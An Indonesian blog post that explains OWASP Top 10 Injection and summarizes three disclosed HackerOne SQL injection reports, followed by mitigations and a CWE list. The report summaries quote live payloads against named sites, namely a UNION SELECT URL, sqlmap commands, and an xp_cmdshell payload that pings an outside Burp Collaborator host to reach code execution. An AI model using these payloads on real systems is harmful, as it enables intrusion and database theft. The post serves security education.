Pengantar
Artikel kali ini kita akan membahas owasp top 10 yang ada di urutan ketiga untuk tahun 2021 (owasp tiap 4 tahun sekali), ialah Injection.
OWASP merupakan singkatan dari Open Web Application Security Project, yang merupakan sebuah project Security Web Application open source yang diperkasai oleh para penggiat teknologi atau pengembang aplikasi, OWASP sering mengadakan seminar, forum diskusi serta pendidikan untuk para Developer.
jadi yang dimaksud OWASP TOP 10? owasp top 10 merupakan sebuah cara untuk mengkategorikan resiko kerentanan yang sering terjadi pada sebuah aplikasi berbasis website, dari yang paling atas (resiko tertinggi) hingga yang paling bawah (tingkat resiko rendah), Tujuannya apa ?, tentu saja ini sangat berguna bagi para developer aplikasi supaya mereka jadi lebih aware terhadap kerentanan di aplikasi mereka.
Injection
Apa itu Injection ?
Injection merupakan sebuah kondisi yang dimana aplikasi dapat memproses sebuah inputan user padahal itu Tidak Valid yang dapat membuat aplikasi/sistem itu menjalankan perintah yang tidak seharusnya.
dapat diambil kesimpulan dari gambaar di atas bahwa attacker membuat/menulis sebuah Malicious / kode yang berbahaya, kemudian mengirim data(kode) tersebut ke aplikasi, sayangnya aplikasi/website itu tidak cukup baik dalam melakukan filtering dan validasi kembali dari user sehingga mengakibatkan kode yang di input oleh user tadi dijalankan oleh aplikasi/website itu sendiri.
Nah… jika aplikasi tersebut terdapat kerentanan seperti di atas akibatnya attacker dapat mengontrol aplikasi itu sendiri dengan Malicious code tadi.
di tahun" sebelumnya kerentanan Injection ini cukup sering terjadi, dikarenakan beberapa developer belum terlalu peduli / acuh tak acuh terhadap serangan ini.
di tahun 2021 ke atas baru OWASP TOP 10 merangking kerentanan ini di urutan ketiga, dikarenakan para developer sudah pada peduli (Secure Coding).
Hal - Hal yang serin terjadi di Injection ini :
- Aplikasi menerima semua inputan user tanpa Filtering
- Tidak melakukan Validasi kembali
Praktikal
Berikut saya cantumkan beberapa contoh report dari orang lain di celah keamanan Injection :
#1046084 SQL Injection Union Based
Sumber : https://hackerone.com/reports/1046084
endpoint : https://intensedebate.com/commenthistory/$YourSiteId
attacker login ke https://intensedebate.com
kemudian attacker membuat websitenya sendiri https://intensedebate.com/install
lalu pergi ke https://intensedebate.com/user-dashboard > Overview > (redirect to) https://intensedebate.com/dash/$YourSiteId
kemudian masukkan Payload (Malicious code) :
https://intensedebate.com/commenthistory/$YourSiteId%20union%20select%201,2,@@VERSION%23
kode pun terinjeksi oleh aplikasi
#1109311 SQL injection in acronis.cz via the log parameter
sumber : https://hackerone.com/reports/1109311
attacker menemukan kerentanan sqli di website www.acronis.cz dengan POST method request via log parameter, dengan bantuan tools Sqlmap sehingga mendapatkan isi database ‘u_acronis@localhost’’
payload :
sqlmap -p log -r request-cz.txt –current-user –level=2 –risk=2
POST /wp-login.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest Referer: https://www.acronis.cz/ Cookie: PHPSESSID=tl1cf9spe0vih33iu0oi407sj9;leady_session_id=ba090174-dfd8-47d8-9fe3-8677d9d2bc7c;_fbp=fb.1.1614028220501.157613909;wordpress_test_cookie=WP+Cookie+check;wp-resetpass-d4279cb03f82f59849b53cff997b8a24=JJJ27QQQ%3AJJJ21QQQ Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip,deflate Content-Length: 208 Host: www.acronis.cz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36 Connection: Keep-alive
g-recaptcha-response=555&log=sample@mail.tst&pwd=g00dPa%24%24w0rD&redirect_to=https://www.acronis.cz/wp-admin/&rememberme=forever&testcookie=1&wp-submit=P%C5%99ihl%C3%A1sit%20se
impact :
attacker berhasil melakukan Bypass di sistem aplikasi yang mengakibatkan kebocoran database pada aplikasi tersebut.
#816254 SQL injection on contactws.contact-sys.com in TScenObject action ScenObjects leads to remote code execution
sumber : https://hackerone.com/reports/816254
attacker menemukan sebuah dokumentasi API TScenObject, yang isinya kalau ExpectSigned=“No” tidak memerlukan autentikasi, kemudian attacker membuat sebuah payload seperti dibawah ini :
SELECT * FROM tblName WHERE id=<inject> order by STEP;
33; DECLARE @command varchar(255); SELECT @command=‘ping yhjbc2mndl88o89il3ueyud7zy5pte.burpcollaborator.net’; EXEC Master.dbo.xp_cmdshell @command; SELECT 1 as ‘STEP’ ``
untuk memastikan bahwa betul website ini rentan terhadap SQLI
sqlmap -r sqlitest.txt --batch --current-db --force-ssl
POST / HTTP/1.1
Host: contactws.contact-sys.com:3456
Content-Type: application/xml
Content-Length: 185
<REQUEST OBJECT_CLASS="TScenObject" ACTION="ScenObjects" SCEN_ID="33*" ExpectSigned="No" INT_SOFT_ID="DA61D1CE-757F-44C3-B3F7-11A026C37CD4" POINT_CODE="tzhr" lang="en"></REQUEST>
kemudian attacker mengeskalasi kerentanan tersebut ke RCETo dengan bantuan burp collaborator :
POST / HTTP/1.1
Host: contactws.contact-sys.com:3456
Content-Type: application/xml
Content-Length: 342
<REQUEST OBJECT_CLASS="TScenObject" ACTION="ScenObjects" SCEN_ID="33; DECLARE @command
and monitor your DNS logs for the incoming ping request:
kesimpulannya jika aplikasi tidak melakukan filtering maka akan mengganggu CIA Triad integrity, availability and confidentiality di aplikasi itu sendiri
Mitigasi
- Memakai WAF (Web Aplication Firewall)
- Gunakan positive server-side input validation
- Melakukan LIMITASI request dari user
Beberapa Referensi lainnya
OWASP Proactive Controls: Secure Database Access
OWASP ASVS: V5 Input Validation and Encoding
05.7-Testing_for_ORM_Injection
OWASP Cheat Sheet: Injection Prevention
OWASP Cheat Sheet: SQL Injection Prevention
OWASP Cheat Sheet: Injection Prevention in Java
OWASP Cheat Sheet: Query Parameterization
OWASP Automated Threats to Web Applications – OAT-014
PortSwigger: Server-side template injection
LIST CWE
CWE-20 Improper Input Validation
CWE-75 Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)
CWE-77 Improper Neutralization of Special Elements used in a Command (‘Command Injection’)
CWE-78 Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)
CWE-79 Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)
CWE-80 Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)
CWE-83 Improper Neutralization of Script in Attributes in a Web Page
CWE-87 Improper Neutralization of Alternate XSS Syntax
CWE-88 Improper Neutralization of Argument Delimiters in a Command (‘Argument Injection’)
CWE-89 Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)
CWE-90 Improper Neutralization of Special Elements used in an LDAP Query (‘LDAP Injection’)
CWE-91 XML Injection (aka Blind XPath Injection)
CWE-93 Improper Neutralization of CRLF Sequences (‘CRLF Injection’)
CWE-94 Improper Control of Generation of Code (‘Code Injection’)
CWE-95 Improper Neutralization of Directives in Dynamically Evaluated Code (‘Eval Injection’)
CWE-96 Improper Neutralization of Directives in Statically Saved Code (‘Static Code Injection’)
CWE-97 Improper Neutralization of Server-Side Includes (SSI) Within a Web Page
CWE-99 Improper Control of Resource Identifiers (‘Resource Injection’)
CWE-100 Deprecated: Was catch-all for input validation issues
CWE-113 Improper Neutralization of CRLF Sequences in HTTP Headers (‘HTTP Response Splitting’)
CWE-116 Improper Encoding or Escaping of Output
CWE-138 Improper Neutralization of Special Elements
CWE-184 Incomplete List of Disallowed Inputs
CWE-470 Use of Externally-Controlled Input to Select Classes or Code (‘Unsafe Reflection’)
CWE-471 Modification of Assumed-Immutable Data (MAID)
CWE-564 SQL Injection: Hibernate
CWE-610 Externally Controlled Reference to a Resource in Another Sphere
CWE-643 Improper Neutralization of Data within XPath Expressions (‘XPath Injection’)
CWE-644 Improper Neutralization of HTTP Headers for Scripting Syntax
CWE-652 Improper Neutralization of Data within XQuery Expressions (‘XQuery Injection’)
Posting Komentar